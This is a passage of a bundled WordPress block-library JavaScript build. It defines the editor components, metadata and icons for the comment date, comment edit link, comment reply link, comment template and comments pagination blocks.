9619 const [siteFormat = (0,external_wp_date_namespaceObject.getSettings)().formats.date] = (0,external_wp_coreData_namespaceObject.useEntityProp)(
9620 "root",
9621 "site",
9622 "date_format"
9623 );
9624 const inspectorControls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
9625 external_wp_components_namespaceObject.__experimentalToolsPanel,
9626 {
9627 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
9628 resetAll: () => {
9629 setAttributes({
9630 format: void 0,
9631 isLink: true
9632 });
9633 },
9634 dropdownMenuProps,
9635 children: [
9636 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9637 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
9638 {
9639 label: (0,external_wp_i18n_namespaceObject.__)("Date format"),
9640 hasValue: () => format !== void 0,
9641 onDeselect: () => setAttributes({ format: void 0 }),
9642 isShownByDefault: true,
9643 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9644 external_wp_blockEditor_namespaceObject.__experimentalDateFormatPicker,
9645 {
9646 format,
9647 defaultFormat: siteFormat,
9648 onChange: (nextFormat) => setAttributes({ format: nextFormat })
9649 }
9650 )
9651 }
9652 ),
9653 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9654 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
9655 {
9656 label: (0,external_wp_i18n_namespaceObject.__)("Link to comment"),
9657 hasValue: () => !isLink,
9658 onDeselect: () => setAttributes({ isLink: true }),
9659 isShownByDefault: true,
9660 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9661 external_wp_components_namespaceObject.ToggleControl,
9662 {
9663 __nextHasNoMarginBottom: true,
9664 label: (0,external_wp_i18n_namespaceObject.__)("Link to comment"),
9665 onChange: () => setAttributes({ isLink: !isLink }),
9666 checked: isLink
9667 }
9668 )
9669 }
9670 )
9671 ]
9672 }
9673 ) });
9674 if (!commentId || !date) {
9675 date = (0,external_wp_i18n_namespaceObject._x)("Comment Date", "block title");
9676 }
9677 let commentDate = date instanceof Date ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("time", { dateTime: (0,external_wp_date_namespaceObject.dateI18n)("c", date), children: format === "human-diff" ? (0,external_wp_date_namespaceObject.humanTimeDiff)(date) : (0,external_wp_date_namespaceObject.dateI18n)(format || siteFormat, date) }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("time", { children: date });
9678 if (isLink) {
9679 commentDate = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9680 "a",
9681 {
9682 href: "#comment-date-pseudo-link",
9683 onClick: (event) => event.preventDefault(),
9684 children: commentDate
9685 }
9686 );
9687 }
9688 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
9689 inspectorControls,
9690 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: commentDate })
9691 ] });
9692}
9693
9694
9695;// ./node_modules/@wordpress/block-library/build-module/comment-date/deprecated.js
9696
9697const comment_date_deprecated_v1 = {
9698 attributes: {
9699 format: {
9700 type: "string"
9701 },
9702 isLink: {
9703 type: "boolean",
9704 default: false
9705 }
9706 },
9707 supports: {
9708 html: false,
9709 color: {
9710 gradients: true,
9711 link: true
9712 },
9713 typography: {
9714 fontSize: true,
9715 lineHeight: true,
9716 __experimentalFontFamily: true,
9717 __experimentalFontWeight: true,
9718 __experimentalFontStyle: true,
9719 __experimentalTextTransform: true,
9720 __experimentalLetterSpacing: true
9721 }
9722 },
9723 save() {
9724 return null;
9725 },
9726 migrate: migrate_font_family_default,
9727 isEligible({ style }) {
9728 return style?.typography?.fontFamily;
9729 }
9730};
9731var comment_date_deprecated_deprecated_default = [comment_date_deprecated_v1];
9732
9733
9734;// ./node_modules/@wordpress/block-library/build-module/comment-date/index.js
9735
9736
9737
9738
9739
9740const { name: comment_date_name } = comment_date_block_namespaceObject;
9741const comment_date_settings = {
9742 icon: post_date_default,
9743 edit: comment_date_edit_Edit,
9744 deprecated: comment_date_deprecated_deprecated_default,
9745 example: {}
9746};
9747const comment_date_init = () => initBlock({ name: comment_date_name, metadata: comment_date_block_namespaceObject, settings: comment_date_settings });
9748
9749
9750;// ./node_modules/@wordpress/icons/build-module/library/comment-edit-link.js
9751
9752
9753var comment_edit_link_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m6.249 11.065.44-.44h3.186l-1.5 1.5H7.31l-1.957 1.96A.792.792 0 0 1 4 13.524V5a1 1 0 0 1 1-1h8a1 1 0 0 1 1 1v1.5L12.5 8V5.5h-7v6.315l.749-.75ZM20 19.75H7v-1.5h13v1.5Zm0-12.653-8.967 9.064L8 17l.867-2.935L17.833 5 20 7.097Z" }) });
9754
9755
9756;// ./node_modules/@wordpress/block-library/build-module/comment-edit-link/block.json
9757const comment_edit_link_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/comment-edit-link","title":"Comment Edit Link","category":"theme","ancestor":["core/comment-template"],"description":"Displays a link to edit the comment in the WordPress Dashboard. This link is only visible to users with the edit comment capability.","textdomain":"default","usesContext":["commentId"],"attributes":{"linkTarget":{"type":"string","default":"_self"},"textAlign":{"type":"string"}},"supports":{"html":false,"color":{"link":true,"gradients":true,"text":false,"__experimentalDefaultControls":{"background":true,"link":true}},"spacing":{"margin":true,"padding":true,"__experimentalDefaultControls":{"margin":false,"padding":false}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true}},"style":"wp-block-comment-edit-link"}');
9758;// ./node_modules/@wordpress/block-library/build-module/comment-edit-link/edit.js
9759
9760
9761
9762
9763
9764
9765function comment_edit_link_edit_Edit({
9766 attributes: { linkTarget, textAlign },
9767 setAttributes
9768}) {
9769 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
9770 className: dist_clsx({
9771 [`has-text-align-${textAlign}`]: textAlign
9772 })
9773 });
9774 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
9775 const blockControls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9776 external_wp_blockEditor_namespaceObject.AlignmentControl,
9777 {
9778 value: textAlign,
9779 onChange: (newAlign) => setAttributes({ textAlign: newAlign })
9780 }
9781 ) });
9782 const inspectorControls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9783 external_wp_components_namespaceObject.__experimentalToolsPanel,
9784 {
9785 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
9786 resetAll: () => {
9787 setAttributes({
9788 linkTarget: "_self"
9789 });
9790 },
9791 dropdownMenuProps,
9792 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9793 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
9794 {
9795 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
9796 isShownByDefault: true,
9797 hasValue: () => linkTarget === "_blank",
9798 onDeselect: () => setAttributes({ linkTarget: "_self" }),
9799 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9800 external_wp_components_namespaceObject.ToggleControl,
9801 {
9802 __nextHasNoMarginBottom: true,
9803 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
9804 onChange: (value) => setAttributes({
9805 linkTarget: value ? "_blank" : "_self"
9806 }),
9807 checked: linkTarget === "_blank"
9808 }
9809 )
9810 }
9811 )
9812 }
9813 ) });
9814 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
9815 blockControls,
9816 inspectorControls,
9817 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9818 "a",
9819 {
9820 href: "#edit-comment-pseudo-link",
9821 onClick: (event) => event.preventDefault(),
9822 children: (0,external_wp_i18n_namespaceObject.__)("Edit")
9823 }
9824 ) })
9825 ] });
9826}
9827
9828
9829;// ./node_modules/@wordpress/block-library/build-module/comment-edit-link/index.js
9830
9831
9832
9833
9834const { name: comment_edit_link_name } = comment_edit_link_block_namespaceObject;
9835const comment_edit_link_settings = {
9836 icon: comment_edit_link_default,
9837 edit: comment_edit_link_edit_Edit,
9838 example: {}
9839};
9840const comment_edit_link_init = () => initBlock({ name: comment_edit_link_name, metadata: comment_edit_link_block_namespaceObject, settings: comment_edit_link_settings });
9841
9842
9843;// ./node_modules/@wordpress/icons/build-module/library/comment-reply-link.js
9844
9845
9846var comment_reply_link_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M6.68822 10.625L6.24878 11.0649L5.5 11.8145L5.5 5.5L12.5 5.5V8L14 6.5V5C14 4.44772 13.5523 4 13 4H5C4.44772 4 4 4.44771 4 5V13.5247C4 13.8173 4.16123 14.086 4.41935 14.2237C4.72711 14.3878 5.10601 14.3313 5.35252 14.0845L7.31 12.125H8.375L9.875 10.625H7.31H6.68822ZM14.5605 10.4983L11.6701 13.75H16.9975C17.9963 13.75 18.7796 14.1104 19.3553 14.7048C19.9095 15.2771 20.2299 16.0224 20.4224 16.7443C20.7645 18.0276 20.7543 19.4618 20.7487 20.2544C20.7481 20.345 20.7475 20.4272 20.7475 20.4999L19.2475 20.5001C19.2475 20.4191 19.248 20.3319 19.2484 20.2394V20.2394C19.2526 19.4274 19.259 18.2035 18.973 17.1307C18.8156 16.5401 18.586 16.0666 18.2778 15.7483C17.9909 15.4521 17.5991 15.25 16.9975 15.25H11.8106L14.5303 17.9697L13.4696 19.0303L8.96956 14.5303L13.4394 9.50171L14.5605 10.4983Z" }) });
9847
9848
9849;// ./node_modules/@wordpress/block-library/build-module/comment-reply-link/block.json
9850const comment_reply_link_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/comment-reply-link","title":"Comment Reply Link","category":"theme","ancestor":["core/comment-template"],"description":"Displays a link to reply to a comment.","textdomain":"default","usesContext":["commentId"],"attributes":{"textAlign":{"type":"string"}},"supports":{"color":{"gradients":true,"link":true,"text":false,"__experimentalDefaultControls":{"background":true,"link":true}},"spacing":{"margin":true,"padding":true,"__experimentalDefaultControls":{"margin":false,"padding":false}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true},"html":false},"style":"wp-block-comment-reply-link"}');
9851;// ./node_modules/@wordpress/block-library/build-module/comment-reply-link/edit.js
9852
9853
9854
9855
9856function comment_reply_link_edit_Edit({ setAttributes, attributes: { textAlign } }) {
9857 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
9858 className: dist_clsx({
9859 [`has-text-align-${textAlign}`]: textAlign
9860 })
9861 });
9862 const blockControls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9863 external_wp_blockEditor_namespaceObject.AlignmentControl,
9864 {
9865 value: textAlign,
9866 onChange: (newAlign) => setAttributes({ textAlign: newAlign })
9867 }
9868 ) });
9869 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
9870 blockControls,
9871 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9872 "a",
9873 {
9874 href: "#comment-reply-pseudo-link",
9875 onClick: (event) => event.preventDefault(),
9876 children: (0,external_wp_i18n_namespaceObject.__)("Reply")
9877 }
9878 ) })
9879 ] });
9880}
9881var comment_reply_link_edit_edit_default = comment_reply_link_edit_Edit;
9882
9883
9884;// ./node_modules/@wordpress/block-library/build-module/comment-reply-link/index.js
9885
9886
9887
9888
9889const { name: comment_reply_link_name } = comment_reply_link_block_namespaceObject;
9890const comment_reply_link_settings = {
9891 edit: comment_reply_link_edit_edit_default,
9892 icon: comment_reply_link_default,
9893 example: {}
9894};
9895const comment_reply_link_init = () => initBlock({ name: comment_reply_link_name, metadata: comment_reply_link_block_namespaceObject, settings: comment_reply_link_settings });
9896
9897
9898;// ./node_modules/@wordpress/icons/build-module/library/layout.js
9899
9900
9901var layout_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z" }) });
9902
9903
9904;// ./node_modules/@wordpress/block-library/build-module/comment-template/block.json
9905const comment_template_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/comment-template","title":"Comment Template","category":"design","parent":["core/comments"],"description":"Contains the block elements used to display a comment, like the title, date, author, avatar and more.","textdomain":"default","usesContext":["postId"],"supports":{"align":true,"html":false,"reusable":false,"spacing":{"margin":true,"padding":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}}},"style":"wp-block-comment-template"}');
9906;// external ["wp","apiFetch"]
9907const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"];
9908var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject);
9909;// ./node_modules/@wordpress/block-library/build-module/comment-template/hooks.js
9910
9911
9912
9913
9914
9915const MAX_COMMENTS_PER_PAGE = 100;
9916const useCommentQueryArgs = ({ postId }) => {
9917 const queryArgs = {
9918 status: "approve",
9919 order: "asc",
9920 context: "embed",
9921 parent: 0,
9922 _embed: "children"
9923 };
9924 const {
9925 pageComments,
9926 commentsPerPage,
9927 defaultCommentsPage: defaultPage
9928 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
9929 const { getSettings } = select(external_wp_blockEditor_namespaceObject.store);
9930 const { __experimentalDiscussionSettings } = getSettings();
9931 return __experimentalDiscussionSettings;
9932 });
9933 const perPage = pageComments ? Math.min(commentsPerPage, MAX_COMMENTS_PER_PAGE) : MAX_COMMENTS_PER_PAGE;
9934 const page = useDefaultPageIndex({
9935 defaultPage,
9936 postId,
9937 perPage,
9938 queryArgs
9939 });
9940 return (0,external_wp_element_namespaceObject.useMemo)(() => {
9941 return page ? {
9942 ...queryArgs,
9943 post: postId,
9944 per_page: perPage,
9945 page
9946 } : null;
9947 }, [postId, perPage, page]);
9948};
9949const useDefaultPageIndex = ({ defaultPage, postId, perPage, queryArgs }) => {
9950 const [defaultPages, setDefaultPages] = (0,external_wp_element_namespaceObject.useState)({});
9951 const key = `${postId}_${perPage}`;
9952 const page = defaultPages[key] || 0;
9953 (0,external_wp_element_namespaceObject.useEffect)(() => {
9954 if (page || defaultPage !== "newest") {
9955 return;
9956 }
9957 external_wp_apiFetch_default()({
9958 path: (0,external_wp_url_namespaceObject.addQueryArgs)("/wp/v2/comments", {
9959 ...queryArgs,
9960 post: postId,
9961 per_page: perPage,
9962 _fields: "id"
9963 }),
9964 method: "HEAD",
9965 parse: false
9966 }).then((res) => {
9967 const pages = parseInt(res.headers.get("X-WP-TotalPages"));
9968 setDefaultPages({
9969 ...defaultPages,
9970 [key]: pages <= 1 ? 1 : pages
9971 // If there are 0 pages, it means that there are no comments, but there is no 0th page.
9972 });
9973 }).catch(() => {
9974 setDefaultPages({
9975 ...defaultPages,
9976 [key]: 1
9977 });
9978 });
9979 }, [defaultPage, postId, perPage, setDefaultPages]);
9980 return defaultPage === "newest" ? page : 1;
9981};
9982const useCommentTree = (topLevelComments) => {
9983 const commentTree = (0,external_wp_element_namespaceObject.useMemo)(
9984 () => topLevelComments?.map(({ id, _embedded }) => {
9985 const [children] = _embedded?.children || [[]];
9986 return {
9987 commentId: id,
9988 children: children.map((child) => ({
9989 commentId: child.id
9990 }))
9991 };
9992 }),
9993 [topLevelComments]
9994 );
9995 return commentTree;
9996};
9997
9998
9999;// ./node_modules/@wordpress/block-library/build-module/comment-template/edit.js
10000
10001
10002
10003
10004
10005
10006
10007
10008const edit_TEMPLATE = [
10009 ["core/avatar"],
10010 ["core/comment-author-name"],
10011 ["core/comment-date"],
10012 ["core/comment-content"],
10013 ["core/comment-reply-link"],
10014 ["core/comment-edit-link"]
10015];
10016const getCommentsPlaceholder = ({
10017 perPage,
10018 pageComments,
10019 threadComments,
10020 threadCommentsDepth
10021}) => {
10022 const commentsDepth = !threadComments ? 1 : Math.min(threadCommentsDepth, 3);
10023 const buildChildrenComment = (commentsLevel) => {
10024 if (commentsLevel < commentsDepth) {
10025 const nextLevel = commentsLevel + 1;
10026 return [
10027 {
10028 commentId: -(commentsLevel + 3),
10029 children: buildChildrenComment(nextLevel)
10030 }
10031 ];
10032 }
10033 return [];
10034 };
10035 const placeholderComments = [
10036 { commentId: -1, children: buildChildrenComment(1) }
10037 ];
10038 if ((!pageComments || perPage >= 2) && commentsDepth < 3) {
10039 placeholderComments.push({
10040 commentId: -2,
10041 children: []
10042 });
10043 }
10044 if ((!pageComments || perPage >= 3) && commentsDepth < 2) {
10045 placeholderComments.push({
10046 commentId: -3,
10047 children: []
10048 });
10049 }
10050 return placeholderComments;
10051};
10052function CommentTemplateInnerBlocks({
10053 comment,
10054 activeCommentId,
10055 setActiveCommentId,
10056 firstCommentId,
10057 blocks
10058}) {
10059 const { children, ...innerBlocksProps } = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(
10060 {},
10061 { template: edit_TEMPLATE }
10062 );
10063 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", { ...innerBlocksProps, children: [
10064 comment.commentId === (activeCommentId || firstCommentId) ? children : null,
10065 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10066 MemoizedCommentTemplatePreview,
10067 {
10068 blocks,
10069 commentId: comment.commentId,
10070 setActiveCommentId,
10071 isHidden: comment.commentId === (activeCommentId || firstCommentId)
10072 }
10073 ),
10074 comment?.children?.length > 0 ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10075 CommentsList,
10076 {
10077 comments: comment.children,
10078 activeCommentId,
10079 setActiveCommentId,
10080 blocks,
10081 firstCommentId
10082 }
10083 ) : null
10084 ] });
10085}
10086const CommentTemplatePreview = ({
10087 blocks,
10088 commentId,
10089 setActiveCommentId,
10090 isHidden
10091}) => {
10092 const blockPreviewProps = (0,external_wp_blockEditor_namespaceObject.__experimentalUseBlockPreview)({
10093 blocks
10094 });
10095 const handleOnClick = () => {
10096 setActiveCommentId(commentId);
10097 };
10098 const style = {
10099 display: isHidden ? "none" : void 0
10100 };
10101 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10102 "div",
10103 {
10104 ...blockPreviewProps,
10105 tabIndex: 0,
10106 role: "button",
10107 style,
10108 onClick: handleOnClick,
10109 onKeyPress: handleOnClick
10110 }
10111 );
10112};
10113const MemoizedCommentTemplatePreview = (0,external_wp_element_namespaceObject.memo)(CommentTemplatePreview);
10114const CommentsList = ({
10115 comments,
10116 blockProps,
10117 activeCommentId,
10118 setActiveCommentId,
10119 blocks,
10120 firstCommentId
10121}) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("ol", { ...blockProps, children: comments && comments.map(({ commentId, ...comment }, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10122 external_wp_blockEditor_namespaceObject.BlockContextProvider,
10123 {
10124 value: {
10125 // If the commentId is negative it means that this comment is a
10126 // "placeholder" and that the block is most likely being used in the
10127 // site editor. In this case, we have to set the commentId to `null`
10128 // because otherwise the (non-existent) comment with a negative ID
10129 // would be requested from the REST API.
10130 commentId: commentId < 0 ? null : commentId
10131 },
10132 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10133 CommentTemplateInnerBlocks,
10134 {
10135 comment: { commentId, ...comment },
10136 activeCommentId,
10137 setActiveCommentId,
10138 blocks,
10139 firstCommentId
10140 }
10141 )
10142 },
10143 comment.commentId || index
10144)) });
10145function CommentTemplateEdit({
10146 clientId,
10147 context: { postId }
10148}) {
10149 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
10150 const [activeCommentId, setActiveCommentId] = (0,external_wp_element_namespaceObject.useState)();
10151 const {
10152 commentOrder,
10153 threadCommentsDepth,
10154 threadComments,
10155 commentsPerPage,
10156 pageComments
10157 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
10158 const { getSettings } = select(external_wp_blockEditor_namespaceObject.store);
10159 return getSettings().__experimentalDiscussionSettings;
10160 });
10161 const commentQuery = useCommentQueryArgs({
10162 postId
10163 });
10164 const { topLevelComments, blocks } = (0,external_wp_data_namespaceObject.useSelect)(
10165 (select) => {
10166 const { getEntityRecords } = select(external_wp_coreData_namespaceObject.store);
10167 const { getBlocks } = select(external_wp_blockEditor_namespaceObject.store);
10168 return {
10169 // Request only top-level comments. Replies are embedded.
10170 topLevelComments: commentQuery ? getEntityRecords("root", "comment", commentQuery) : null,
10171 blocks: getBlocks(clientId)
10172 };
10173 },
10174 [clientId, commentQuery]
10175 );
10176 let commentTree = useCommentTree(
10177 // Reverse the order of top comments if needed.
10178 commentOrder === "desc" && topLevelComments ? [...topLevelComments].reverse() : topLevelComments
10179 );
10180 if (!topLevelComments) {
10181 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) });
10182 }
10183 if (!postId) {
10184 commentTree = getCommentsPlaceholder({
10185 perPage: commentsPerPage,
10186 pageComments,
10187 threadComments,
10188 threadCommentsDepth
10189 });
10190 }
10191 if (!commentTree.length) {
10192 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { ...blockProps, children: (0,external_wp_i18n_namespaceObject.__)("No results found.") });
10193 }
10194 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10195 CommentsList,
10196 {
10197 comments: commentTree,
10198 blockProps,
10199 blocks,
10200 activeCommentId,
10201 setActiveCommentId,
10202 firstCommentId: commentTree[0]?.commentId
10203 }
10204 );
10205}
10206
10207
10208;// ./node_modules/@wordpress/block-library/build-module/comment-template/save.js
10209
10210
10211function CommentTemplateSave() {
10212 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {});
10213}
10214
10215
10216;// ./node_modules/@wordpress/block-library/build-module/comment-template/index.js
10217
10218
10219
10220
10221
10222const { name: comment_template_name } = comment_template_block_namespaceObject;
10223const comment_template_settings = {
10224 icon: layout_default,
10225 edit: CommentTemplateEdit,
10226 save: CommentTemplateSave
10227};
10228const comment_template_init = () => initBlock({ name: comment_template_name, metadata: comment_template_block_namespaceObject, settings: comment_template_settings });
10229
10230
10231;// ./node_modules/@wordpress/icons/build-module/library/query-pagination-previous.js
10232
10233
10234var query_pagination_previous_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M16 10.5v3h3v-3h-3zm-5 3h3v-3h-3v3zM7 9l-3 3 3 3 1-1-2-2 2-2-1-1z" }) });
10235
10236
10237;// ./node_modules/@wordpress/block-library/build-module/comments-pagination-previous/block.json
10238const comments_pagination_previous_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/comments-pagination-previous","title":"Comments Previous Page","category":"theme","parent":["core/comments-pagination"],"description":"Displays the previous comment\'s page link.","textdomain":"default","attributes":{"label":{"type":"string"}},"usesContext":["postId","comments/paginationArrow"],"supports":{"reusable":false,"html":false,"color":{"gradients":true,"text":false,"__experimentalDefaultControls":{"background":true}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true}}}');
10239;// ./node_modules/@wordpress/block-library/build-module/comments-pagination-previous/edit.js
10240
10241
10242
10243const arrowMap = {
10244 none: "",
10245 arrow: "\u2190",
10246 chevron: "\xAB"
10247};
10248function CommentsPaginationPreviousEdit({
10249 attributes: { label },
10250 setAttributes,
10251 context: { "comments/paginationArrow": paginationArrow }
10252}) {
10253 const displayArrow = arrowMap[paginationArrow];
10254 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
10255 "a",
10256 {
10257 href: "#comments-pagination-previous-pseudo-link",
10258 onClick: (event) => event.preventDefault(),
10259 ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)(),
10260 children: [
10261 displayArrow && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10262 "span",
10263 {
10264 className: `wp-block-comments-pagination-previous-arrow is-arrow-${paginationArrow}`,
10265 children: displayArrow
10266 }
10267 ),
10268 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10269 external_wp_blockEditor_namespaceObject.PlainText,
10270 {
10271 __experimentalVersion: 2,
10272 tagName: "span",
10273 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Older comments page link"),
10274 placeholder: (0,external_wp_i18n_namespaceObject.__)("Older Comments"),
10275 value: label,
10276 onChange: (newLabel) => setAttributes({ label: newLabel })
10277 }
10278 )
10279 ]
10280 }
10281 );
10282}
10283
10284
10285;// ./node_modules/@wordpress/block-library/build-module/comments-pagination-previous/index.js
10286
10287
10288
10289
10290
10291const { name: comments_pagination_previous_name } = comments_pagination_previous_block_namespaceObject;
10292const comments_pagination_previous_settings = {
10293 icon: query_pagination_previous_default,
10294 edit: CommentsPaginationPreviousEdit,
10295 example: {
10296 attributes: {
10297 label: (0,external_wp_i18n_namespaceObject.__)("Older Comments")
10298 }
10299 }
10300};
10301const comments_pagination_previous_init = () => initBlock({ name: comments_pagination_previous_name, metadata: comments_pagination_previous_block_namespaceObject, settings: comments_pagination_previous_settings });
10302
10303
10304;// ./node_modules/@wordpress/icons/build-module/library/query-pagination.js
10305
10306
10307var query_pagination_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4 13.5h6v-3H4v3zm8 0h3v-3h-3v3zm5-3v3h3v-3h-3z" }) });
10308
10309
10310;// ./node_modules/@wordpress/block-library/build-module/comments-pagination/block.json
